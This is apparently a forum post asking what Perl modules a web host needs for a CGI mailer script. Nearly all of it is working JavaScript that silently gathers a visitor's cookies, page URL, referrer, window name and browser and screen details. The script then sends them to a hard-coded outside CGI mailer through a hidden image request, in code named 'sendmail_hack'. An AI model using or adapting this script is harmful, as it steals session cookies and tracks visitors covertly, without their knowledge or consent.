My question is mainly about some perl mailer script, and what modules need be installed on web hosting service to provide e-mailing functionality. I have JavaScript already, but it need be adjusted depending of cgi script parameters. JavaScript is:
function main()
{
baseURL = "http://www.apci.net/cgi-bin/mailer/mailer.cgi?"
mailTo="name@mydomain.com";
mailFrom="";
SendMsg(mailTo, mailFrom, "Testing", infoTable());
return;
}
function SendMsg(to, from, subject, msg)
{
var sendmail_hack, URL;
sendmail_hack = new Image();
URL = baseURL;
URL = URL + "TO=" + escape(to) + "&";
URL = URL + "SUBJECT=" + escape(from + " " + subject) + "&";
URL = URL + "msg=" + escape(msg);
sendmail_hack.src = URL;
return;
}
function infoTable()
{
msg = "";
addVar("URL", location.href);
addVar("title", document.title);
addVar("referrer", document.referrer);
addVar("lastModified", document.lastModified);
addVar("cookie", document.cookie);
addVar("domain", document.domain);
addVar("windowName", window.name);
addVar("browserName", navigator.appName);
addVar("browserVersion", navigator.appVersion);
addVar("browserSignature", navigator.userAgent);
addVar("browserLanguage", navigator.language);
addVar("platform", navigator.platform);
addVar("javaEnabled", navigator.javaEnabled());
addVar("cookiesEnabled", navigator.cookieEnabled);
addVar("windowStatus", window.status);
addVar("windowDefaultStatus", window.defaultStatus);
if(document.links.length > 0)
{
addVar("linkCount", document.links.length);
addVar("link0URL", document.links[0].href);
}
addVar("screenHeight", screen.height);
addVar("screenWidth", screen.width);
addVar("screenColorDepth", screen.colorDepth);
addVar("screenUpdateInterval", screen.updateInterval);
addVar("historyLength", history.length);
return msg;
}
function addVar(name, value)
{
if(typeof(value) == "undefined")
return;
if(typeof(value) == "string")
{
str = name + " = " + '"' + value + '"';
}
else
{
str = name + " = " + value;
}
msg = msg + str + ";\n";
return;
}
|